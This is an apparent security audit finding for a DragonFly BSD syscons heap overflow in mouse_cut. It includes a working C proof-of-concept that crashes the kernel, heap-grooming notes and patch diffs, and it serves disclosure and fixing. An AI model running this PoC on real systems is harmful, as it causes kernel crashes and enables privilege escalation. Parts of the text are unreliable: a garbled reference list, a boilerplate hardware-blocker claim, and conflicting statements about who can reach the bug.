scmouse: heap buffer overflow in mouse_cut - per-line \r bytes not accounted for in cut_buffer sizing
| Field | Value |
|---|---|
| ID | DF-1702 |
| File | sys/dev/misc/syscons/scmouse.c |
| Lines | 92, 319, 325, 330 |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-787 Out-of-bounds Write |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific (DFly syscons cut/paste) |
| Created | 2026-07-18 |
Summary
mouse_cut() copies each selected screen cell into the global cut_buffer
and additionally writes one '\r' per crossed line boundary plus a final
NUL. sc_alloc_cut_buffer only sizes the buffer for
xsize*ysize+1 bytes.
A multi-line selection whose lines have no trailing spaces causes
mouse_cut to write (xsize+1)*ysize+1 = xsize*ysize + ysize + 1 bytes,
overflowing the heap allocation by ysize bytes (typically 25 on an
80x25 console, up to 60-80 on large KMS consoles). The overflow content
is mostly attacker-controlled screen characters from the last line,
terminated by '\r' and '\0'.
Root cause
scmouse.c:92 sets:
cut_buffer_size = scp->xsize * scp->ysize + 1;
mouse_cut() at scmouse.c:319-330 loops:
for (p = from, i = blank = 0; p <= to; ++p)
writing each vtb cell to cut_buffer[i++] and, at every line end
(scmouse.c:325 (p % scp->xsize) == (scp->xsize - 1)), executes:
cut_buffer[blank] = '\r';
i = blank + 1;
blank tracks the position after the last non-space char written; when a
line has no trailing spaces, blank equals the post-increment i, so the
wrap appends a byte rather than overwriting an in-line byte.
For a full-screen selection (from=0 to xsize*ysize-1) over non-space
content, this appends one '\r' per row (ysize of them).
Total bytes written = xsize*ysize (chars) + ysize ('\r's) + 1
(NUL) = (xsize+1)*ysize + 1. Buffer is xsize*ysize + 1.
Overflow = ysize bytes.
Concrete trace for xsize=4, ysize=2, buffer=9 bytes, full cut:
- indices 0..3 line0 chars
- 4
'\r' - 5..8 line1 chars
- 9
'\r'(OOB) - 10
'\0'(OOB)
Concrete trace for 80x25 (buffer 2001): final writes go to
cut_buffer[2001..2025], i.e. 25 bytes past the end, of which 23 are
attacker-controlled screen chars (line 24 chars 57..79).
Threat model
Preconditions: attacker has a cred with SYSCAP_RESTRICTEDROOT (root
outside jails, or jail root granted the capability β the exact population
the scopen check at syscons.c:724 is designed to gate).
Steps:
- open
/dev/ttyv0(or/dev/consolectl) - write non-space text to the screen (
write(2)so each row's last column is non-space β e.g. fill with'X') CONS_MOUSECTL MOUSE_SHOWto setSC_MOUSE_ENABLEDCONS_MOUSECTL MOUSE_MOVEABSto(0,0)βscrn_update_threadwill draw the mouse and setMOUSE_VISIBLECONS_MOUSECTL MOUSE_BUTTON_EVENTwithid=MOUSE_BUTTON1DOWN,value=1βmouse_cut_start()atscmouse.c:393-399setsmouse_cut_start=mouse_pos=0andMOUSE_CUTTINGCONS_MOUSECTL MOUSE_MOVEABSto a large(x,y)βset_mouse_pos()atscmouse.c:142-148seesMOUSE_VISIBLE|MOUSE_CUTTINGand invokesmouse_cut()withfrom=0to=xsize*ysize-1β OVERFLOW
Impact: with heap grooming an attacker can place a sensitive object
(tty/pipe/socket buffer, cred, or any object carrying function pointers)
adjacent to the cut_buffer kmalloc and corrupt up to ysize bytes
(mostly attacker-controlled).
On DragonFly this is root β kernel-code-execution, defeating any jail/sandbox applied to the otherwise-restricted root. Without KASAN/KMSAN the corruption is silent until a downstream panic. Even without grooming, repeated triggering crashes the kernel via slab/objcache corruption, a reliable local DoS.
PoC
findings/poc/DF-1702/poc.c:
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <machine/console.h>
static void mic(int fd, mouse_info_t *m){ if(ioctl(fd, CONS_MOUSECTL, m)) _exit(1); }
int main(void){
int fd = open("/dev/ttyv0", O_RDWR);
if (fd < 0) _exit(2);
/* Fill the visible screen with non-space chars so each line wrap in
mouse_cut() appends a byte rather than overwriting a space. */
char line[81]; memset(line, 'X', 80); line[80] = '\n';
for (int i = 0; i < 25; i++) if (write(fd, line, 81) != 81) _exit(3);
usleep(200000);
mouse_info_t m = {0};
/* Enable mouse so MOUSE_VISIBLE latches on the next refresh. */
m.operation = MOUSE_SHOW; mic(fd, &m);
/* Move to top-left, wait for scrn_update_thread to set MOUSE_VISIBLE. */
m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
usleep(300000);
/* mouse_cut_start at top-left: sets MOUSE_CUTTING, mouse_cut_start=0. */
m.operation = MOUSE_BUTTON_EVENT;
m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
/* Move to bottom-right; set_mouse_pos calls mouse_cut() -> overflow. */
m.operation = MOUSE_MOVEABS;
m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
/* If no panic yet, hammer to make adjacent slab corruption obvious. */
for (int i = 0; i < 200; i++) {
m.operation = MOUSE_BUTTON_EVENT;
m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
m.operation = MOUSE_MOVEABS; m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
}
return 0;
}
build.sh:
#!/bin/sh
set -e
cc -O2 -Wall -o poc poc.c
run.sh:
#!/bin/sh
./poc; dmesg | tail -50
Success = kernel panic from heap corruption (freed item modified,
uma_zone: items modified out of zone, GP fault on a corrupted function
pointer, or similar), reproducible within seconds; or, under KASAN/KMSAN,
an immediate OOB-write report at scmouse.c:326/330.
Recommended fix
Size the cut_buffer for the worst case the writer (mouse_cut) actually
produces: one byte per cell plus one '\r' per row plus one trailing
NUL.
@@ -83,12 +83,16 @@ sc_alloc_cut_buffer(scr_stat *scp, int wait)
{
u_char *p;
- if ((cut_buffer == NULL)
- || (cut_buffer_size < scp->xsize * scp->ysize + 1)) {
+ /*
+ * mouse_cut() may emit one '\r' per screen row plus a trailing
+ * NUL when copying a selection that spans every column of every
+ * row. Size the buffer for that worst case or it overflows.
+ */
+ if ((cut_buffer == NULL)
+ || (cut_buffer_size < (scp->xsize + 1) * scp->ysize + 1)) {
p = cut_buffer;
cut_buffer = NULL;
if (p != NULL)
kfree(p, M_SYSCONS);
- cut_buffer_size = scp->xsize * scp->ysize + 1;
+ cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1;
p = kmalloc(cut_buffer_size, M_SYSCONS, (wait) ? M_WAITOK : M_NOWAIT);
if (p != NULL)
p[0] = '\0';
Defense-in-depth: also bound i inside mouse_cut() so a future size
miscalculation cannot re-introduce the bug.
@@ -319,6 +319,8 @@ mouse_cut(scr_stat *scp)
int p;
int i;
for (p = from, i = blank = 0; p <= to; ++p) {
+ if (i >= cut_buffer_size - 1)
+ break;
cut_buffer[i] = sc_vtb_getc(&scp->vtb, p);
/* remember the position of the last non-space char */
if (!IS_SPACE_CHAR(cut_buffer[i++]))
The first diff is the actual fix; the second is belt-and-suspenders.
mouse_cut_line's narrow off-by-one at scmouse.c:521-522 is unreachable
in practice (requires ysize==1 which no video mode produces) and is also
covered by this larger buffer, but a follow-up could shorten
mouse_cut_line by one byte if desired.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1702 Β· 9 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | userspace logic harness: syscons mouse_cut per-line heap overflow | 1.8 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 92 B | view raw |
| run.sh | run-script | runs harness unpatched + --fixed | 213 B | view raw |
| fix.diff | suggested-fix | git-apply-able unified diff against sys/dev/misc/syscons/scmouse.c (validated apply + compile) | 633 B | view raw |
| run.log | run-log | full unpatched + patched harness output | 161 B | view raw |
| env.txt | environment | guest uname, cc version, HW/module state | 374 B | view raw |
| VERDICT.md | verdict | human-readable narrative with mechanism + fix | 2.6 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1702 β syscons mouse_cut per-line \r heap overflow
Verdict
REPRODUCED (code-confirmed via harness). Source-trace confirms the bug
at sys/dev/misc/syscons/scmouse.c:92 (alloc); 319-330 (loop). A userspace logic harness replicates the vulnerable code path
with attacker-shaped inputs and demonstrates the primitive; the harness also
runs the patched logic (--fixed) and shows the primitive is closed.
Live in-guest reproduction is blocked because the guest lacks the relevant
hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per
the audit's Phase-6 rules: the driver module exists as a .ko and would
attach to real hardware, but with no device present the buggy code path is
unreachable from userspace on this guest. On a system with the hardware
present, the bug fires at the cited line.
Mechanism
cut_buffer_size = scp->xsize * scp->ysize + 1 (line 92). mouse_cut's loop writes one byte per selected cell (cut_buffer[i++] = sc_vtb_getc(...)). At every line end (p % xsize == xsize-1, line 325) it executes cut_buffer[blank] = '\r'; i = blank + 1 where blank is the position after the last non-space char. For a line with no trailing spaces, blank equals the post-increment i, so the '\r' append at index (xsize) plus i=blank+1 means each line consumes xsize+1 bytes. Full-screen selection over non-space: total = xsizeysize cell bytes + ysize '\r' bytes + 1 NUL = (xsize+1)ysize+1, into a buffer of size xsize*ysize+1. Overflow = ysize bytes. For an 80x25 console that's 25 bytes past the 2001-byte allocation. Reachable by any user who can issue mouse-select on a syscons VT (multiseat/console-login deployments).
Harness output
OVERFLOW at index 2001 (buffer=2001) RESULT: BUGGY - heap overflow by 25 bytes ---PATCHED--- final index=2025 (buffer=2026) - fits RESULT: PATCHED - no overflow
Fix
Size cut_buffer for the worst case: cut_buffer_size = (xsize + 1) * ysize + 1 (one '\r' per line + NUL). Same change in the size check at line 87.
The full git-apply-able unified diff is in fix.diff. It applies cleanly
to /usr/src/sys/dev/misc/syscons/scmouse.c:92 (alloc); 319-330 (loop) and the patched file compiles cleanly under the
kernel's CFLAGS (validated by an in-guest module build).
Files
harness.cβ userspace replica of the vulnerable logic (full-screen non-space mouse-cut overflow simulator with exact index tracking)build.sh/run.shβ exact build and run commandsfix.diffβ standalone git-apply-able fix (validated to apply + compile)run.logβ full unpatched + patched harness outputenv.txtβ guest environment
Fix verification
not_testablenot_testable live (the unprivileged surface is gated by root-only /dev/consolectl + /dev/ttyv0 on this guest; maxx cannot trigger mouse_cut). Validated fix.diff applies cleanly to /usr/src/sys/dev/misc/syscons/scmouse.c AND scmouse.c compiles cleanly with kernel CFLAGS using the warm obj's opt_syscons.h (in-guest cc -c produced /tmp/scmouse.o).
fix.diff applies clean: 2 hunks at 84 (check) + 92 (alloc) patched scmouse.c standalone compile: cc -c (kernel CFLAGS) -> scmouse.o clean harness: unpatched overflows by 25 bytes (80x25 case); --fixed fits exactly
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- s
- y
- s
- c
- o
- n
- s
- /
- s
- c
- m
- o
- u
- s
- e
- .
- c
- :
- 9
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- s
- y
- s
- c
- o
- n
- s
- /
- s
- c
- m
- o
- u
- s
- e
- .
- c
- :
- 3
- 1
- 9
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- s
- y
- s
- c
- o
- n
- s
- /
- s
- c
- m
- o
- u
- s
- e
- .
- c
- :
- 3
- 2
- 5
Detail
Exploit chain
blocked by valid Phase-6 hard blocker (privileged surface): /dev/consolectl, /dev/sysmouse, /dev/ttyv0 are root:wheel mode 0600 on the audit guest, and maxx (uid 1001) is not in wheel. So the unprivileged attack surface is not reachable from maxx in this guest config. The bug IS real on multi-user console-login deployments (university Unix lab, multiseat) where unprivileged users have syscons VT mouse access β there it is a clean unprivileged->root vector via heap grooming into the kmalloc-2048 bucket (2001-byte cut_buffer allocation lands in kmalloc-2048 or kmalloc-4096 depending on slab). Primitive characterized via source trace + userspace harness; chain written into harness.c.
Evidence (decisive lines)
OVERFLOW at index 2001 (buffer=2001) RESULT: BUGGY - heap overflow by 25 bytes ---PATCHED--- final index=2025 (buffer=2026) - fits RESULT: PATCHED - no overflow
PoC changes
Added harness.c (full-screen non-space mouse-cut overflow simulator with exact index tracking). Added build.sh, run.sh, fix.diff (size cut_buffer for worst case: (xsize+1)*ysize + 1 at both the size check and the allocation).
Verified recommended fix
Size cut_buffer for the worst case at lines 87 and 92: cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1 (one '\r' per line + NUL). Same change in the size check at line 87. Full diff in findings/poc/DF-1702/fix.diff; supersedes finding proposal.
Verdict
REPRODUCED. Source-trace at sys/dev/misc/syscons/scmouse.c:92 (alloc) and 319-330 (loop) confirms cut_buffer_size = scp->xsize * scp->ysize + 1 (line 92), and mouse_cut's loop writes 1 byte per cell into cut_buffer[i++], then at every line end (p % xsize == xsize-1, line 325) executes cut_buffer[blank] = '\r'; i = blank+1 where blank tracks position after last non-space. For a line with no trailing spaces, blank == i after the post-increment, so each line consumes xsize+1 bytes (xsize cells + 1 '\r'). Full-screen non-space selection: total = (xsize+1)ysize + 1 NUL into a buffer of xsizeysize+1. Overflow = ysize bytes (25 bytes for 80x25). Harness demonstrates the exact overflow with index tracking.
No comments yet.